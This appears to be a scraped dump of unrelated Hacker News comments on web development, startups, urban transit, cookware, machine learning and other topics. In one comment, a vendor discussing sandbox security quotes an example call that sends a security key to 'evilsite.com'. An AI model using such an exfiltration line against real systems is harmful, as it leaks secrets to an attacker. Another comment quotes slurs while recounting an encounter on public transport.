skysight-inc/HackerNews huggingface dataset:
WRT >there's little to be gained by storing state that is truly temporal/localized in a persistent/global store (which is necessary for enabling a truly pure mapping of state to UI),

Perhaps, I mis-understood, but when I do
.setState({data}, fnToCallAfter)

as a user of React, I do not really know where the state is stored, in other words, I do not store in global/persistent store.

---

I do use React.Context quite a bit to store my LoginState,
my special purpose in memory store (using Immutable.js) that acts as cache for some often used/expensive to get backend data.
When my LoginData, or CacheData get updated, react automagically calls 'render' (and static friends) on all the mounted components that have signed up to observers to the Context's changes.

This is very similar to newly release AndroidX jetpack Lifecycle-aware ViewModel, that calls the observer methods, only on activites/fragments whose lifecycle is 'active' (this reduces complexity of managing android activities during the 'rotation/config' changes.

---

I am just not clear where you run into a situation where you had to use the component-level state management in react, that required you to see the innerworkings (or implement) your mechanism to store component's state.
In assembly language, you can build an accurate garbage collector for your assembly language application. There are no hidden "not user servicable" areas in the run-time, like in C. You can set up your calling and framing conventions so the GC can trace the stack and know exactly where the root pointers are.
I know over the years at least some of the systems have either gotten better or more lenient.

With Walmart specifically I haven't gotten "Unexpected item in bagging area" in a couple of years at least. It's probably a combination of an improved system on Walmart's part and learning how to place items in the bagging area appropriately on my part.

There's obviously a long way to go to make these kind of systems ideal (the UX of entering in produce items is probably the most common frustration for me nowadays) but the all-too-common refrain that I hear that these systems are basically unusable without some employee to constantly babysit them is false, at least at the stores I frequent that have them.
Can you find a SaaS successful SaaS founders or preferable a SaaS sales person close to you, that you could learn from cause it seems your problem is sales and not really SaaS.

I was once in your shoes building SaaS project that never amounted to much, what changed well I got into yc startup school last year and while my startup failed I learnt a lot from fellow startup schoolers when it came to sales, things like; b2b and b2c SaaS require different sales approach, cold outreach bring in 3% of all SaaS sales,and so on. And then I joined Facebook SaaS groups, which where filled with successful SaaS founders, where I am learning a lot from, I even found founder mentors there, who are now mentoring me through my recent SaaS project that is accomplishing results my other SaaS projects never could.
There are so many variables involved in building a successfull SaaS project, so many in fact that it is a fallacy to think you can optimize them all by yourself, best approach is to find someone who has already optimized most of these variables and learn from them.

SaasGrowthHacks is a particularly good Facebook group you can join, it is a closed group by the way.
Yeah, human names will always be somewhat messy/heuristic/political. There's also a matter of curation of code into searchable, semi-reliable lists. It makes lots of sense to decouple that from the actual code and enable competing names, repo's etc.
I don't see how it can be decoupled. Most programmers have (hopefully) created enough value when in their thirties for basic living the rest of their lives. The reason you can't is because you are, both before and after, paying someone else for opportunities. You could fund whatever human activity you want today if you could pay for housing, food and information at cost.
> If you are at 98% accuracy for autonomous driving right now, you are practically nowhere. In 100 seconds of driving, you will crash and possibly die, twice.

98% accuracy, 100 seconds, crash twice. Take that, (data) scientists!
Fair enough. I was thinking more in terms of the delta between the different ethnic groups, not in terms of the sheer number of technically different ethnicities.
$145M funds frozen after death of cryptocurrency exchange admin
No. It’s a big thing because of the Muslim veils.
Lots of people advocate for “superblocks” in lower Manhattan, where thru-traffic would be entirely banned and otherwise traffic slowed to something like 5-10mph. That is drastic, but very much in line with improving the state of walking around.

Admittedly a big focus on reducing cars in major cities likely is coming from the fact that the wealthy started moving to major cities rather than commuting from suburbia. Other people car commuting really does hurt their quality of life. But that seems more an argument that we should bring these policies even to poorer dense urban areas rather than limiting their roll-out only to Manhattan and other wealthy enclaves.
True. A "professional" would obviously know to add `export EDITOR="emacs -nw"` to their `.bashrc`

Problem solved! :D
This is only "shadow work" relative to the status quo, and there's no principled reason to privilege the status quo over the alternative. You could just as easily say that tying your shoes is "shadow work" because you at one point could have paid a butler to do it for you (and still can, I suppose). This is true of any of a million things that you do for yourself that you could pay a taskrabbit to do instead.

So the claim that "shadow work" is becoming more prevalent doesn't make a ton of sense, especially when you net it out with the types of labor that are becoming newly salable (through taskrabbit and all the other forms of the gig economy).
IIRC biostarch PLA can be produced from any industrial waste product high in cellulose. In practice this would include for example sugar cane in addition to corn husks. It is often said that they will completely degrade within 14 days in a warm vegetative compost environment. How closely a typical landfill replicates this optimal, aerated environment is questionable. Anyway, they are a lot better to have discarded around the planet than most plastic. The problem is that they are extremely energy inefficient to produce.

Traditional polymers: Oil in, power in, cheap product out, correct disposal and recycling required or planet suffers.

Biostarch polymers: Industrial waste in, huge amount of power in, comparable but more expensive product out (but can be relied on to biodegrade eventually if incorrectly disposed of).

The real solution is better food distribution systems with more efficient and re-usable packaging and cutlery, so that disposal is not required.
Or Brussels and its EU minions.
Precisely.

Measuring purely the number of technically different ethnicities is a silly way of calculating diversity. You need to look at the delta between the ethnicities if you want to talk about diversity that isn't purely on paper.

I probably should've just said "racially", but oh well.
I've did this myself back in 2000/01 — there were fewer resources on the web back in the day (and dial-up was harder), so it was about hunting down freely available papers, books, source code and similar (a student in Serbia can't really walk into a library and get their hands on some real literature).

I actually did have a round-robin scheduler with prioritised processes and first-fit memory allocator in there as well.

During the presentation, as I pulled out a 3.5" floppy disk to boot up my OS, the teachers looked at me in disbelief: you've actually got something working?

If you are curious and willing to spend some quality time with your computer, this is a great way to learn about computers. Today though, I'd recommend people do it with ARM just for the kicks.
+1. I have a lodge cast iron and I prefer a $25 TFal Titanium. Everything sticks to the former, nothing (not even oil!) sticks to the latter. No PFOA in TFal either.
It's always greed. I can guarantee you that if the FDA was defanged in the United States you'd see a massive spike in food and drug safety failures and counterfeiting. If a company can profit significantly from cutting corners inevitably someone will try it. The market may punish some of that behavior to the point that a new equilibrium would be reached but it would certainly be a more dangerous baseline.

For many things the only thing that keeps greed and misconduct in check is a robust regulatory regime. They vast majority of people in any society neither has the time not expertise to check products for safety and authenticity.
Typical in these types of discussions.
Don’t waste your time building out the technology or product first. You’ll just end up with months of work down the drain, and nothing at all to show for it.

What you need to do is sell the idea of your product first. Get guaranteed customers, which means, they need to put cold hard cash on the line. Putting out a survey to garner interest is fun to do, but you’ll never really know until you actually get a person to part with their money.

Once you have your first foundational customers, whether this be individual people or businesses, then start going 100% on the product itself.
But RNNs are losing its edge over sequence modeling against fully attentional techniques like Transformer, at least it seems to be the consensus right now, Transformer, when done right, offers better performance.
How did you sand iron? (sorry if this is a naive question)
A bit OT, but honest question: would it bother you if it was almost-open-source, that is, if license forbid leechers (other cloud providers selling competitive offering)?

I am thinking of releasing a product under Apache + Common Clause, Zero License, Business Source License or similar, maybe with GPL timebomb. Basically, feel free to use, improve and share, but don't sell or offer it as a service to 3rd parties. I would love it if normal users could safely use the product and share improvements, but would still like to have a chance at building a business model which didn’t involve donations or selling just support (I want to be incentivized to build a great UX). Which means I am selling convenience, and probably can't compete with others if they can offer the same without the cost of development.

Since you sound like exactly the target audience, would such a license appeal to you, or would you reject it up-front?
Sure, but doesn't it work pretty differently? With books, you're just given words and your brain has to fill in the gaps and actually do some work. With video games and movies, your brain is directly stimulated; shown what to see and hear.
Ah dang it. Yeah you're right. I submitted again with the dev.to link, but no luck
The author has absolutely no idea what he is talking about. In 100ms of driving you'd also die twice, apparently.

See the disclaimer at the bottom: 'sell-side analyst', TSLA short.
The app generates random passwords for you, I'm unsure why you linked this
Can you elaborate on how Transformers are "convolutions with attention"?
Marvel Cinematic Universe as a 3-D Network
I updated a couple hours ago, went smoothly.

> In preparation of the new API we are working on, FTLDNS will now store its data in a shared-memory space, so that the API can come in and read from that memory to fulfill requests.

I’m looking forward to the new API and the updated admin site that uses the new API.
I prefer to use `butterfly-mode` in Emacs.
The extra capabilities Linux added made it insecure (arrays), so that eBPF needs to be disabled in production SMP systems.

There's also no existing userland support. Everyone provides DTrace probes, no one systemtap probes.
> Life in a place where all or nearly all trips can be made without needing to drive a car is very pleasant, especially for anyone who isn’t an able-bodied high-income adult.

I've found the exact opposite to be true. Cars are great because they mean you'll never come in contact with crazy vagrants.

For a few years I tried taking public transportation in the bay area, but I gave up because I had too many encounters with insane homeless people. I've had crazy people scream at me and call me things like "faggot" or "peckerwood". I've had people threaten to rob me after I asked them to turn their music down on the bus. They're never caught by the police. The last time I was on BART, a guy smoked meth and threatened to kick the shit out of me if I called the cops. He got off at the next station and the cops never caught him.

Now I avoid public transportation and either drive or take Uber or Lyft.
I finished high school in 2003 at a large rural school that offered both Info Tech and Software Development for senior students. I took both and even our teachers were seriously lacking, in addition to the students. I would have killed to go to the city for schooling at a school where those topics were treated seriously.
What's the point of having moral high ground if you try to turn it into soft power and the other people laugh you out of the room for hypocrisy?

The best we can do is admit it was wrong and we aren't infallible, have empathy for others on the same path, and help them see what we see. After all, only a few generations ago it seemed like the natural order of things. If only 10% of people disagreed, how sure would you be that you land in that 10%?

Stepping back to today, what practices do 90% of us engage in which our children's children will look back at us as barbaric? Statistically it doesn't look good for us.
I like Keep the way it is. Add anything more, and it quickly turns into a mess.

It’s already at the edge in my opinion, and I would like to continue using it for a long time into the future, so please stop pushing the engineers to change things. You might actually convince them...
Partly OT: I've checked a whole lot of note-taking, personal-wiki, bookmarking, outliners, et cetera, and none support Bidi[0] or RTL properly. Markdown editors fail most miserably, of course.

[0] https://en.wikipedia.org/wiki/Bi-directional_text
"Interesting that" is just a figure of speech that people use to introduce information weakly related to OP.
That's odd - when I installed the iOS app I either had to get a one-time-code by using a Barclays ATM, or by identifying with my physical PinSentry device ...
As someone who works in a product management role building automation software what I am observing is that automation is helping to automate tasks not jobs.

Jobs that humans do are being altered as a result focusing on more cognative and social tasks.

Retooling / reskilling policies should be getting more attention.
That point, however, is a lot higher than zero, more so in areas with a high cost of living, and still more so for a 19 year old who doesn't have any savings to fall back on and has to establish his earning baseline.
A Bluffer's Guide to Dimension Reduction
The footprints? That's some fancy tech.
Very well put, and I agree with your general analysis.

The question is: how exactly is this a "bad thing"?
Hi, I agree with you, PouchDB is an exiting technology. I had built an webapp (PWA) as a open-source side-project, using Vue+Vuetify+PouchDB, and it looks like to works well for single-user.
It is not finished, I have some ideas to gradualy improve it, like WYSIWYG, encrypting data, full-text search, notifications, ...

The demo/presentation is here : https://jimskapt.github.io/lambda-badger, and source is here : https://github.com/Jimskapt/lambda-badger
Ceramic nonstick cookware. Heavier, but does the same job. https://chemistry.stackexchange.com/questions/61420/what-is-...
This seems clear to me: customers aren't remotely rational, and will generally complain about economically fair systems[1] that they feel are "taking away" things they're entitled to. I can't count how many times I heard people complain about baggage fees when they were introduced, and no one ever had a response to "I never fly with baggage, why should I subsidize your propensity to overpack?". Even people who knew way better and would default to an efficient market assumption in every other possible scenario would assume that it was a naked cash grab, the benefits of which accrued entirely to the airlines. The same is true of complaints about Spirit Airlines: how DARE they give me the voluntary option of a low-priced flight without a bunch of (useless, costly) amenities that I feel entitled to? I can go on and on: credit card fees at liquor stores, etc etc.

[1] In particular, rewarding consumers who reduce costs by passing on the cost savings.
How you live is more interesting than how long you live imho.

The former is harder to measure and we live in an age were people over-weigh easy to measure things which makes for all kinds of misguided conclusions.

Don't dismiss Convenience. There will always be more people who need it than don't. Focus instead on what kind of convenience you can provide that crowd and your impact is guaranteed.
I found this to be a great read on what I think the parent is referring to: https://lilianweng.github.io/lil-log/2018/06/24/attention-at...
58.6 tons CO2 / year per child? isn't that a bit too much?
Isn't this usability issue on part of the website developer/ux designer too? What you point out is right, but it can also be implemented in a way where you're not outright just calling the function to pop up that little notification asking for [insert api] permission. It might be a better solution where the ux designer/developer has some sort of button the website that then calls that function for a slightly better experience.
> in-kernel TLS is very a recent addition to Linux

Linux has gotten in-kernel TLS? That's slightly horrifying. Seems like it's hard enough to get right without being allowed to overwrite any user page you'd like.
Your link mentions how it's all about whether or not you count the CO2 from cattle respiration.

They say cattle respiration should not be counted because what CO2 comes from cattle respiration would have come from soil respiration.

But it seems to me that the two operate on vastly different timescales : according to wikipedia, "Carbon stored in soil can remain there for up to thousands of years before being washed into rivers by erosion or released into the atmosphere through soil respiration."

So it would seem to make sense to count cattle respiration as added CO2.
I must be missing something -- I have never considered the "unreasonable effectiveness" and "considered harmful" to be equivalent?
Not annoying; blocking. There are a reasonable percentage of people that cannot solve the current set of CAPTCHAs.
Appreciate your insightful feedback, very helpful!

Here's a few follow-on responses:

1. Your feedback about individual blog posts is completely correct. We will definitely go that direction with new content.
2. The killer feature list is still absent on the home page. We will correct that.
3. I can tell you are very experienced developer. If you are looking for new projects, please let me know, we can use someone like you on our team (not kidding). Regarding your inexperienced developers comment, I'm fairly certain all companies would love to have a team full of experienced developers, like yourself, I know I would. Unfortunately, not every company has a roster full of experienced developers. Most teams contain a blend of experienced and inexperienced developers, and the experienced developers are often too busy solving hard problems, which leaves the inexperienced developers to fend themselves. Not really the best scenario for most companies. Would you agree?
4. If you issue the command, new URL("https://evilsite.com/steal?key={{mlab_security_key}}") in our sandbox editor, you will not exfiltrate the actual security key. You will receive a page not found error or bad request error. That said, if you are able to exfiltrate the actual security key, please let us know, that's a security bug on our end.

Thank you again for your comments!
Well. I'd exclude disabled people from this group of "nobody". For many people with disabilities a car is usually the only real way to get anywhere.
Doesn't a lot of that come from the very long development history of OpenSSL (so best practices have developed over its lifetime), and the many, many compatibility hacks they still include in the codebase?

It also contains a LOT of different things in there, whereas "just" a TLS stream with limited ciphers should be a lot simpler.
Many C/C++ projects are switching to Meson these days. Mesa for example.
Agreed. At first, it reads like something interesting is coming, like "where are we in the uncanny valley and here's the latest on getting out the other side." But then it turns into a very basic description (not even a tutorial) of basic 3D modeling and rendering. Then comes the ad.

One of the more useful developments in photorealistic rendering in recent years is the "Principled BSDF" shader.[1] This brings together most of the shader features you need for photorealism into one convenient package. Disney/Pixar came up with this to get their workflow organized, and now it's a semi-standard. Blender and Unreal Engine now support it.

If you want to read up on photorealistic rendering techniques, read stuff from the last 3 years. It's getting easier.

[1] https://docs.blender.org/manual/en/latest/render/cycles/node...
Ask HN: What do I need to know about water softening?
My wife is convinced we need one. I'm convinced we're dealing with people pushing quack science for profit. How do we get to the ground truth on this?
See also:

https://arxiv.org/abs/1606.05340
Dutch as a Second Language at a university.
I really don't have a good recommendation. :( I learned it from a person, not a book, and the textbook he was assigning exercises from (Folland) is essentially useless for self study to my mind.
My google-fu failed me. What do you mean by white badge?

Edit: A bit more searching and it seems to be a euphemism for a person that has full access to a conference. Right?
Every time a CAPTCHA thread comes up I have to point this out. By using one you’re externalising your business costs onto your users. You can make that choice, but if you do you’re far more likely to negatively impact the section of society that already has problems online: those who need to use assistive technologies.
Soeedometers perform the most precise measurement you can get. When you fit a nonstandard tire you just introduce a constant scaling factor. That is not so bad. GPS on the other hand is atrocious. Don't even try to get an accurate position in places like downtown Seattle. I'm regularly getting misplaces by several blocks because of occlusion and reflections from the buildings. You just can't compute an accurate speed from such a signal.

Besides, GPS can only update once a second. And given the signal jitter you can't get a good speed reading from the last two fixes - when you are going in a straight line. When you are not going straight, the GPS based estimate must underestimate the distance you travelled and thus your speed.

Using this toy speedometer thingy for driving is just dangerous and insane and illegal in so many ways that I wish the article could just be pulled from the web.
But no part of that Transformer section makes any reference to convolutions.
My experience with Meson is that it is much better designed than CMake but very slow.